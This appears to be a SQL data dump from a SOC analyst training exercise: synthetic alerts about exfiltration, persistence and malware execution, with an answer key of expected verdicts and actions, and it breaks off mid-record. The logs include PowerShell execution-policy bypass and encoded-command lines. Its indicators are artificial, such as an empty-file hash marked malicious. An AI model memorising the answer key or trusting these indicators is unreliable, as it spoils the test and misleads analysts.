(1324, 'Data Exfiltration: Sensitive Data Leak', 'critical', 'Network Traffic Analysis', 'The final phase of the attack executed by the threat actor Moses Staff involved the exfiltration of sensitive data from Israeli organizations. The data is set to be used for public release and political leverage.', 'Data Exfiltration', 'T1041', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T02:34:56Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"src_port\":44322,\"dst_port\":443,\"filename\":\"Sensitive_Company_Data.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"action\":\"data_exfiltration\",\"notes\":\"Large upload detected to known malicious IP.\"}', '2026-03-01 22:55:52', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected in previous data leaks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Sensitive_Company_Data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename matches pattern of exfiltrated data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"User account active and verified.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1325, 'Suspicious Dropbox API Activity Detected', 'medium', 'Network Traffic Analysis', 'IndigoZebra initiates their campaign by abusing the Dropbox API to establish a communication channel with compromised systems, bypassing traditional security measures.', 'Initial Access', 'T1071.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:35Z\",\"src_ip\":\"192.168.1.15\",\"dest_ip\":\"96.45.183.149\",\"dest_domain\":\"api.dropboxapi.com\",\"method\":\"POST\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\",\"filename\":\"dbx_comm_payload.bin\",\"file_hash\":\"d2d2d2e5a5a5f5f5g5g5h5h5i5i5j5j5\",\"username\":\"indigo_user\",\"session_id\":\"6F2A1B3C4D5E6F7G8H9I0J1K2L3M4N5O\"}', '2026-03-01 22:55:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"96.45.183.149\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"api.dropboxapi.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Public Domain Info\",\"verdict\":\"clean\",\"details\":\"Legitimate Dropbox API domain\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"dbx_comm_payload.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unrecognized payload file\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d2d2d2e5a5a5f5f5g5g5h5h5i5i5j5j5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known IndigoZebra malware\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"indigo_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account suspected of being compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1326, 'xCaon Malware Execution on Host System', 'high', 'Endpoint Detection and Response (EDR)', 'The xCaon malware was executed on the host system, indicating the start of a potential system compromise. This step involves the execution of the malicious payload aimed at gaining control over the system.', 'Execution', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"host_ip\":\"192.168.1.10\",\"attacker_ip\":\"203.0.113.45\",\"executed_file\":\"C:\\\\Users\\\\Public\\\\xCaonPayload.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"john.doe\",\"process_id\":1234,\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File xCaonPayload.exe\",\"event_id\":4688,\"event_description\":\"A new process has been created.\"}', '2026-03-01 22:55:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the host system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with multiple attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware signature.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"internal\",\"details\":\"Username of the compromised account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1327, 'Persistence Achieved via Scheduled Tasks', 'medium', 'System Logs', 'IndigoZebra ensures their presence by setting up scheduled tasks, allowing them to regain access even after system reboots. A scheduled task was created by the attacker to execute a malicious script periodically.', 'Persistence', 'T1053 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"4698\",\"task_name\":\"\\\\IndigoZebra_MaintainAccess\",\"task_content\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c C:\\\\Windows\\\\Temp\\\\malicious_script.bat\",\"user\":\"compromised_user\",\"user_sid\":\"S-1-5-21-123456789-1234567890-123456789-1001\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"sha256_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-01 22:55:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Legitimate user account on the network.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server IP.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"MD5 hash of known malicious file.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\IndigoZebra_MaintainAccess\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_script.bat\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-123456789-1234567890-123456789-1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"sha256_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\IndigoZebra_MaintainAccess\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_script.bat\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-123456789-1234567890-123456789-1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"sha256_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\IndigoZebra_MaintainAccess\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_script.bat\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-123456789-1234567890-123456789-1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"sha256_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\IndigoZebra_MaintainAccess\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_script.bat\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-123456789-1234567890-123456789-1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"sha256_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\IndigoZebra_MaintainAccess\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_script.bat\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-123456789-1234567890-123456789-1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"sha256_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1328, 'Unauthorized Access to Internal Networks', 'high', 'Intrusion Detection Systems', 'An unauthorized lateral movement attempt was detected from a compromised internal host to critical systems within the network. The attacker is leveraging valid credentials to expand access.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"10.1.1.12\",\"external_attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"event_type\":\"authentication_attempt\",\"status\":\"success\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious_payload.exe\",\"event_id\":\"4624\",\"message\":\"Successful login using compromised credentials detected.\",\"process\":\"svchost.exe\"}', '2026-03-01 22:55:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal source IP involved in unauthorized access attempt.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Targeted critical system within the network.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware sample used for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"compromised\",\"details\":\"Compromised credentials used in the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.818Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"destination_ip\\\":\\\"10.1.1.12\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"authentication_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Successful login using compromised credentials detected.\\\",\\\"process\\\":\\\"svchost.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.818Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"destination_ip\\\":\\\"10.1.1.12\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"authentication_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Successful login using compromised credentials detected.\\\",\\\"process\\\":\\\"svchost.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.818Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"destination_ip\\\":\\\"10.1.1.12\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"authentication_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Successful login using compromised credentials detected.\\\",\\\"process\\\":\\\"svchost.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.818Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"destination_ip\\\":\\\"10.1.1.12\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"authentication_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Successful login using compromised credentials detected.\\\",\\\"process\\\":\\\"svchost.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.818Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"destination_ip\\\":\\\"10.1.1.12\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"authentication_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Successful login using compromised credentials detected.\\\",\\\"process\\\":\\\"svchost.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1329, 'Data Exfiltration via Encrypted Channels', 'high', 'Data Loss Prevention (DLP) Tools', 'IndigoZebra carried out the final stage of their operation, exfiltrating sensitive data using encrypted C2 channels. This activity was detected by our DLP tools, indicating the use of encrypted traffic to an external IP associated with known malicious activities.', 'Exfiltration', 'T1048', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:22:31Z\",\"event_id\":\"DLPE12345\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"data_volume\":\"15MB\",\"user\":\"jdoe\",\"filename\":\"sensitive_data.zip\",\"hash\":\"a1b2c3d4e5f67890123456789abcdef0\",\"action\":\"Data Exfiltration Detected\"}', '2026-03-01 22:55:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with IndigoZebra operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f67890123456789abcdef0\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"File hash associated with data exfiltration malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"File involved in the data exfiltration attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_db\",\"verdict\":\"internal\",\"details\":\"Username of the potentially compromised account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:31Z\\\",\\\"event_id\\\":\\\"DLPE12345\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"15MB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:31Z\\\",\\\"event_id\\\":\\\"DLPE12345\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"15MB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:31Z\\\",\\\"event_id\\\":\\\"DLPE12345\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"15MB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:31Z\\\",\\\"event_id\\\":\\\"DLPE12345\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"15MB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:31Z\\\",\\\"event_id\\\":\\\"DLPE12345\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"15MB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"Data Exfiltration 